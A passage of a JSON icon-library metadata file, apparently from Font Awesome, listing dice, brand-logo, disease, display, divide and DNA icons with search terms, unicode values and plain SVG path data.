14.5l172.7 64c.8 .3 1.6 .4 2.4 .4zM41.7 382.9l170.9 20.2c7.8 .9 13.4-7.5 9.5-14.3l-85.7-150c-5.9-10.4-20.7-10.8-27.3-.8L30.2 358.2c-6.5 9.9-.3 23.3 11.5 24.7zm439.6-24.8L402.9 238.1c-6.5-10-21.4-9.6-27.3 .8L290.2 388.5c-3.9 6.8 1.6 15.2 9.5 14.3l170.1-20c11.8-1.4 18-14.7 11.5-24.6zm-216.9 11l78.4-137.2c6.1-10.7-1.6-23.9-13.9-23.9H183.1c-12.3 0-20 13.3-13.9 23.9l78.4 137.2c3.7 6.4 13 6.4 16.7 0zM174.4 176H337.6c12.2 0 19.9-13.1 14-23.8l-80-144c-2.8-5.1-8.2-8.2-14-8.2h-3.2c-5.8 0-11.2 3.2-14 8.2l-80 144c-5.9 10.7 1.8 23.8 14 23.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M48.7 125.8l53.2 31.9c7.8 4.7 17.8 2 22.2-5.9L201.6 12.1c3-5.4-.9-12.1-7.1-12.1c-1.6 0-3.2 .5-4.6 1.4L47.9 98.8c-9.6 6.6-9.2 20.9 .8 26.9zM16 171.7V295.3c0 8 10.4 11 14.7 4.4l60-92c5-7.6 2.6-17.8-5.2-22.5L40.2 158C29.6 151.6 16 159.3 16 171.7zM310.4 12.1l77.6 139.6c4.4 7.9 14.5 10.6 22.2 5.9l53.2-31.9c10-6 10.4-20.3 .8-26.9L322.1 1.4c-1.4-.9-3-1.4-4.6-1.4c-6.2 0-10.1 6.7-7.1 12.1zM496 171.7c0-12.4-13.6-20.1-24.2-13.7l-45.3 27.2c-7.8 4.7-10.1 14.9-5.2 22.5l60 92c4.3 6.7 14.7 3.6 14.7-4.4V171.7zm-49.3 246L286.1 436.6c-8.1 .9-14.1 7.8-14.1 15.9v52.8c0 3.7 3 6.8 6.8 6.8c.8 0 1.6-.1 2.4-.4l172.7-64c6.1-2.2 10.1-8 10.1-14.5c0-9.3-8.1-16.5-17.3-15.4zM233.2 512c3.7 0 6.8-3 6.8-6.8V452.6c0-8.1-6.1-14.9-14.1-15.9l-160.6-19c-9.2-1.1-17.3 6.1-17.3 15.4c0 6.5 4 12.3 10.1 14.5l172.7 64c.8 .3 1.6 .4 2.4 .4zM41.7 382.9l170.9 20.2c7.8 .9 13.4-7.5 9.5-14.3l-85.7-150c-5.9-10.4-20.7-10.8-27.3-.8L30.2 358.2c-6.5 9.9-.3 23.3 11.5 24.7zm439.6-24.8L402.9 238.1c-6.5-10-21.4-9.6-27.3 .8L290.2 388.5c-3.9 6.8 1.6 15.2 9.5 14.3l170.1-20c11.8-1.4 18-14.7 11.5-24.6zm-216.9 11l78.4-137.2c6.1-10.7-1.6-23.9-13.9-23.9H183.1c-12.3 0-20 13.3-13.9 23.9l78.4 137.2c3.7 6.4 13 6.4 16.7 0zM174.4 176H337.6c12.2 0 19.9-13.1 14-23.8l-80-144c-2.8-5.1-8.2-8.2-14-8.2h-3.2c-5.8 0-11.2 3.2-14 8.2l-80 144c-5.9 10.7 1.8 23.8 14 23.8z"
      }
    },
    "free": ["solid"]
  },
  "dice-d6": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6d1"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "chance",
        "d&d",
        "dnd",
        "fantasy",
        "gambling",
        "game",
        "roll"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6d1",
    "label": "Dice D6",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M201 10.3c14.3-7.8 31.6-7.8 46 0L422.3 106c5.1 2.8 8.3 8.2 8.3 14s-3.2 11.2-8.3 14L231.7 238c-4.8 2.6-10.5 2.6-15.3 0L25.7 134c-5.1-2.8-8.3-8.2-8.3-14s3.2-11.2 8.3-14L201 10.3zM23.7 170l176 96c5.1 2.8 8.3 8.2 8.3 14V496c0 5.6-3 10.9-7.8 13.8s-10.9 3-15.8 .3L25 423.1C9.6 414.7 0 398.6 0 381V184c0-5.6 3-10.9 7.8-13.8s10.9-3 15.8-.3zm400.7 0c5-2.7 11-2.6 15.8 .3s7.8 8.1 7.8 13.8V381c0 17.6-9.6 33.7-25 42.1L263.7 510c-5 2.7-11 2.6-15.8-.3s-7.8-8.1-7.8-13.8V280c0-5.9 3.2-11.2 8.3-14l176-96z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M201 10.3c14.3-7.8 31.6-7.8 46 0L422.3 106c5.1 2.8 8.3 8.2 8.3 14s-3.2 11.2-8.3 14L231.7 238c-4.8 2.6-10.5 2.6-15.3 0L25.7 134c-5.1-2.8-8.3-8.2-8.3-14s3.2-11.2 8.3-14L201 10.3zM23.7 170l176 96c5.1 2.8 8.3 8.2 8.3 14V496c0 5.6-3 10.9-7.8 13.8s-10.9 3-15.8 .3L25 423.1C9.6 414.7 0 398.6 0 381V184c0-5.6 3-10.9 7.8-13.8s10.9-3 15.8-.3zm400.7 0c5-2.7 11-2.6 15.8 .3s7.8 8.1 7.8 13.8V381c0 17.6-9.6 33.7-25 42.1L263.7 510c-5 2.7-11 2.6-15.8-.3s-7.8-8.1-7.8-13.8V280c0-5.9 3.2-11.2 8.3-14l176-96z"
      }
    },
    "free": ["solid"]
  },
  "dice-five": {
    "aliases": {
      "unicodes": {
        "composite": ["2684"],
        "secondary": ["10f523"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Die Face-5", "chance", "gambling", "game", "roll"]
    },
    "styles": ["solid"],
    "unicode": "f523",
    "label": "Dice Five",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm64 96a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM96 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM224 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64-64a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm32 160a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm64 96a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM96 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM224 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64-64a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm32 160a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "dice-four": {
    "aliases": {
      "unicodes": {
        "composite": ["2683"],
        "secondary": ["10f524"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Die Face-4", "chance", "gambling", "game", "roll"]
    },
    "styles": ["solid"],
    "unicode": "f524",
    "label": "Dice Four",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm160 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM128 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM352 160a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM320 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm160 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM128 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM352 160a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM320 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "dice-one": {
    "aliases": {
      "unicodes": {
        "composite": ["2680"],
        "secondary": ["10f525"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Die Face-1", "chance", "gambling", "game", "roll"]
    },
    "styles": ["solid"],
    "unicode": "f525",
    "label": "Dice One",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM224 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM224 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "dice-six": {
    "aliases": {
      "unicodes": {
        "composite": ["2685"],
        "secondary": ["10f526"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Die Face-6", "chance", "gambling", "game", "roll"]
    },
    "styles": ["solid"],
    "unicode": "f526",
    "label": "Dice Six",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm160 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM128 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm32 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM320 192a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm32 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM320 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm160 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM128 288a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm32 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM320 192a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm32 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM320 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "dice-three": {
    "aliases": {
      "unicodes": {
        "composite": ["2682"],
        "secondary": ["10f527"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Die Face-3", "chance", "gambling", "game", "roll"]
    },
    "styles": ["solid"],
    "unicode": "f527",
    "label": "Dice Three",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm64 96a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64 128a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm128 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm64 96a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64 128a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm128 64a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "dice-two": {
    "aliases": {
      "unicodes": {
        "composite": ["2681"],
        "secondary": ["10f528"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Die Face-2", "chance", "gambling", "game", "roll"]
    },
    "styles": ["solid"],
    "unicode": "f528",
    "label": "Dice Two",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM352 352a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM128 192a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM352 352a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM128 192a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "digg": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a6",
    "label": "Digg Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M81.7 172.3H0v174.4h132.7V96h-51v76.3zm0 133.4H50.9v-92.3h30.8v92.3zm297.2-133.4v174.4h81.8v28.5h-81.8V416H512V172.3H378.9zm81.8 133.4h-30.8v-92.3h30.8v92.3zm-235.6 41h82.1v28.5h-82.1V416h133.3V172.3H225.1v174.4zm51.2-133.3h30.8v92.3h-30.8v-92.3zM153.3 96h51.3v51h-51.3V96zm0 76.3h51.3v174.4h-51.3V172.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M81.7 172.3H0v174.4h132.7V96h-51v76.3zm0 133.4H50.9v-92.3h30.8v92.3zm297.2-133.4v174.4h81.8v28.5h-81.8V416H512V172.3H378.9zm81.8 133.4h-30.8v-92.3h30.8v92.3zm-235.6 41h82.1v28.5h-82.1V416h133.3V172.3H225.1v174.4zm51.2-133.3h30.8v92.3h-30.8v-92.3zM153.3 96h51.3v51h-51.3V96zm0 76.3h51.3v174.4h-51.3V172.3z"
      }
    },
    "free": ["brands"]
  },
  "digital-ocean": {
    "changes": ["5.0.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f391",
    "label": "Digital Ocean",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M87 481.8h73.7v-73.6H87zM25.4 346.6v61.6H87v-61.6zm466.2-169.7c-23-74.2-82.4-133.3-156.6-156.6C164.9-32.8 8 93.7 8 255.9h95.8c0-101.8 101-180.5 208.1-141.7 39.7 14.3 71.5 46.1 85.8 85.7 39.1 107-39.7 207.8-141.4 208v.3h-.3V504c162.6 0 288.8-156.8 235.6-327.1zm-235.3 231v-95.3h-95.6v95.6H256v-.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M87 481.8h73.7v-73.6H87zM25.4 346.6v61.6H87v-61.6zm466.2-169.7c-23-74.2-82.4-133.3-156.6-156.6C164.9-32.8 8 93.7 8 255.9h95.8c0-101.8 101-180.5 208.1-141.7 39.7 14.3 71.5 46.1 85.8 85.7 39.1 107-39.7 207.8-141.4 208v.3h-.3V504c162.6 0 288.8-156.8 235.6-327.1zm-235.3 231v-95.3h-95.6v95.6H256v-.3z"
      }
    },
    "free": ["brands"]
  },
  "discord": {
    "changes": ["5.0.0", "5.15.4", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f392",
    "label": "Discord",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M524.531,69.836a1.5,1.5,0,0,0-.764-.7A485.065,485.065,0,0,0,404.081,32.03a1.816,1.816,0,0,0-1.923.91,337.461,337.461,0,0,0-14.9,30.6,447.848,447.848,0,0,0-134.426,0,309.541,309.541,0,0,0-15.135-30.6,1.89,1.89,0,0,0-1.924-.91A483.689,483.689,0,0,0,116.085,69.137a1.712,1.712,0,0,0-.788.676C39.068,183.651,18.186,294.69,28.43,404.354a2.016,2.016,0,0,0,.765,1.375A487.666,487.666,0,0,0,176.02,479.918a1.9,1.9,0,0,0,2.063-.676A348.2,348.2,0,0,0,208.12,430.4a1.86,1.86,0,0,0-1.019-2.588,321.173,321.173,0,0,1-45.868-21.853,1.885,1.885,0,0,1-.185-3.126c3.082-2.309,6.166-4.711,9.109-7.137a1.819,1.819,0,0,1,1.9-.256c96.229,43.917,200.41,43.917,295.5,0a1.812,1.812,0,0,1,1.924.233c2.944,2.426,6.027,4.851,9.132,7.16a1.884,1.884,0,0,1-.162,3.126,301.407,301.407,0,0,1-45.89,21.83,1.875,1.875,0,0,0-1,2.611,391.055,391.055,0,0,0,30.014,48.815,1.864,1.864,0,0,0,2.063.7A486.048,486.048,0,0,0,610.7,405.729a1.882,1.882,0,0,0,.765-1.352C623.729,277.594,590.933,167.465,524.531,69.836ZM222.491,337.58c-28.972,0-52.844-26.587-52.844-59.239S193.056,219.1,222.491,219.1c29.665,0,53.306,26.82,52.843,59.239C275.334,310.993,251.924,337.58,222.491,337.58Zm195.38,0c-28.971,0-52.843-26.587-52.843-59.239S388.437,219.1,417.871,219.1c29.667,0,53.307,26.82,52.844,59.239C470.715,310.993,447.538,337.58,417.871,337.58Z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M524.531,69.836a1.5,1.5,0,0,0-.764-.7A485.065,485.065,0,0,0,404.081,32.03a1.816,1.816,0,0,0-1.923.91,337.461,337.461,0,0,0-14.9,30.6,447.848,447.848,0,0,0-134.426,0,309.541,309.541,0,0,0-15.135-30.6,1.89,1.89,0,0,0-1.924-.91A483.689,483.689,0,0,0,116.085,69.137a1.712,1.712,0,0,0-.788.676C39.068,183.651,18.186,294.69,28.43,404.354a2.016,2.016,0,0,0,.765,1.375A487.666,487.666,0,0,0,176.02,479.918a1.9,1.9,0,0,0,2.063-.676A348.2,348.2,0,0,0,208.12,430.4a1.86,1.86,0,0,0-1.019-2.588,321.173,321.173,0,0,1-45.868-21.853,1.885,1.885,0,0,1-.185-3.126c3.082-2.309,6.166-4.711,9.109-7.137a1.819,1.819,0,0,1,1.9-.256c96.229,43.917,200.41,43.917,295.5,0a1.812,1.812,0,0,1,1.924.233c2.944,2.426,6.027,4.851,9.132,7.16a1.884,1.884,0,0,1-.162,3.126,301.407,301.407,0,0,1-45.89,21.83,1.875,1.875,0,0,0-1,2.611,391.055,391.055,0,0,0,30.014,48.815,1.864,1.864,0,0,0,2.063.7A486.048,486.048,0,0,0,610.7,405.729a1.882,1.882,0,0,0,.765-1.352C623.729,277.594,590.933,167.465,524.531,69.836ZM222.491,337.58c-28.972,0-52.844-26.587-52.844-59.239S193.056,219.1,222.491,219.1c29.665,0,53.306,26.82,52.843,59.239C275.334,310.993,251.924,337.58,222.491,337.58Zm195.38,0c-28.971,0-52.843-26.587-52.843-59.239S388.437,219.1,417.871,219.1c29.667,0,53.307,26.82,52.844,59.239C470.715,310.993,447.538,337.58,417.871,337.58Z"
      }
    },
    "free": ["brands"]
  },
  "discourse": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f393",
    "label": "Discourse",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M225.9 32C103.3 32 0 130.5 0 252.1 0 256 .1 480 .1 480l225.8-.2c122.7 0 222.1-102.3 222.1-223.9C448 134.3 348.6 32 225.9 32zM224 384c-19.4 0-37.9-4.3-54.4-12.1L88.5 392l22.9-75c-9.8-18.1-15.4-38.9-15.4-61 0-70.7 57.3-128 128-128s128 57.3 128 128-57.3 128-128 128z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M225.9 32C103.3 32 0 130.5 0 252.1 0 256 .1 480 .1 480l225.8-.2c122.7 0 222.1-102.3 222.1-223.9C448 134.3 348.6 32 225.9 32zM224 384c-19.4 0-37.9-4.3-54.4-12.1L88.5 392l22.9-75c-9.8-18.1-15.4-38.9-15.4-61 0-70.7 57.3-128 128-128s128 57.3 128 128-57.3 128-128 128z"
      }
    },
    "free": ["brands"]
  },
  "disease": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7fa"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bacteria",
        "cancer",
        "coronavirus",
        "covid-19",
        "flu",
        "illness",
        "infection",
        "pandemic",
        "sickness",
        "virus"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7fa",
    "label": "Disease",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M236.4 61.4L227 75.5c-21.3 32-59.4 48.5-97.3 42.1l-59.6-9.9C33.4 101.6 0 129.9 .1 167.1c0 15.9 6.4 31.2 17.6 42.5l29.2 29.2c11 11 17.2 25.9 17.2 41.5c0 15.8-6.4 30.9-17.7 42L33.3 335.1C22.2 345.9 16 360.7 16 376.2c0 36.8 34.1 64.2 70.1 56.2l62.3-13.8c7.7-1.7 15.7-2.6 23.6-2.6h10c27.2 0 53.7 9.3 75 26.3L287.8 467c10.5 8.4 23.6 13 37 13c32.7 0 59.3-26.5 59.3-59.3l0-25.2c0-34.9 21.4-66.2 53.9-78.8l36.9-14.3c22.4-8.7 37.2-30.3 37.2-54.3c0-28.1-20.1-52.3-47.8-57.3l-28-5.1c-36.5-6.7-65.4-34.5-73.6-70.7l-7.1-31.5C348.9 53.4 322.1 32 291.3 32c-22 0-42.6 11-54.9 29.4zM160 192a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm0 80a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M236.4 61.4L227 75.5c-21.3 32-59.4 48.5-97.3 42.1l-59.6-9.9C33.4 101.6 0 129.9 .1 167.1c0 15.9 6.4 31.2 17.6 42.5l29.2 29.2c11 11 17.2 25.9 17.2 41.5c0 15.8-6.4 30.9-17.7 42L33.3 335.1C22.2 345.9 16 360.7 16 376.2c0 36.8 34.1 64.2 70.1 56.2l62.3-13.8c7.7-1.7 15.7-2.6 23.6-2.6h10c27.2 0 53.7 9.3 75 26.3L287.8 467c10.5 8.4 23.6 13 37 13c32.7 0 59.3-26.5 59.3-59.3l0-25.2c0-34.9 21.4-66.2 53.9-78.8l36.9-14.3c22.4-8.7 37.2-30.3 37.2-54.3c0-28.1-20.1-52.3-47.8-57.3l-28-5.1c-36.5-6.7-65.4-34.5-73.6-70.7l-7.1-31.5C348.9 53.4 322.1 32 291.3 32c-22 0-42.6 11-54.9 29.4zM160 192a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm0 80a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "display": {
    "changes": ["6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Screen", "computer", "desktop", "imac"]
    },
    "styles": ["solid"],
    "unicode": "e163",
    "label": "Display",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V352c0 35.3 28.7 64 64 64H240l-10.7 32H160c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H346.7L336 416H512c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM512 64V352H64V64H512z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V352c0 35.3 28.7 64 64 64H240l-10.7 32H160c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H346.7L336 416H512c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM512 64V352H64V64H512z"
      }
    },
    "free": ["solid"]
  },
  "divide": {
    "aliases": {
      "unicodes": {
        "composite": ["2797", "f7"],
        "secondary": ["10f529"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Division Sign",
        "arithmetic",
        "calculus",
        "divide",
        "division",
        "math",
        "sign",
        "÷"
      ]
    },
    "styles": ["solid"],
    "unicode": "f529",
    "label": "Divide",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M272 96a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm0 320a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM400 288c17.7 0 32-14.3 32-32s-14.3-32-32-32H48c-17.7 0-32 14.3-32 32s14.3 32 32 32H400z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M272 96a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zm0 320a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM400 288c17.7 0 32-14.3 32-32s-14.3-32-32-32H48c-17.7 0-32 14.3-32 32s14.3 32 32 32H400z"
      }
    },
    "free": ["solid"]
  },
  "dna": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9ec"],
        "secondary": ["10f471"]
      }
    },
    "changes": ["5.0.7", "5.0.10", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "biologist",
        "dna",
        "double helix",
        "evolution",
        "gene",
        "genetic",
        "genetics",
        "helix",
        "life",
        "molecule",
        "protein"
      ]
    },
    "styles": ["solid"],
    "unicode": "f471",
    "label": "Dna",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M416 0c17.7 0 32 14.3 32 32c0 59.8-30.3 107.5-69.4 146.6c-28 28-62.5 53.5-97.3 77.4l-2.5 1.7c-11.9 8.1-23.8 16.1-35.5 23.9l0 0 0 0 0 0-1.6 1c-6 4-11.9 7.9-17.8 11.9c-20.9 14-40.8 27.7-59.3 41.5H283.3c-9.8-7.4-20.1-14.7-30.7-22.1l7-4.7 3-2c15.1-10.1 30.9-20.6 46.7-31.6c25 18.1 48.9 37.3 69.4 57.7C417.7 372.5 448 420.2 448 480c0 17.7-14.3 32-32 32s-32-14.3-32-32H64c0 17.7-14.3 32-32 32s-32-14.3-32-32c0-59.8 30.3-107.5 69.4-146.6c28-28 62.5-53.5 97.3-77.4c-34.8-23.9-69.3-49.3-97.3-77.4C30.3 139.5 0 91.8 0 32C0 14.3 14.3 0 32 0S64 14.3 64 32H384c0-17.7 14.3-32 32-32zM338.6 384H109.4c-10.1 10.6-18.6 21.3-25.5 32H364.1c-6.8-10.7-15.3-21.4-25.5-32zM109.4 128H338.6c10.1-10.7 18.6-21.3 25.5-32H83.9c6.8 10.7 15.3 21.3 25.5 32zm55.4 48c18.4 13.8 38.4 27.5 59.3 41.5c20.9-14 40.8-27.7 59.3-41.5H164.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
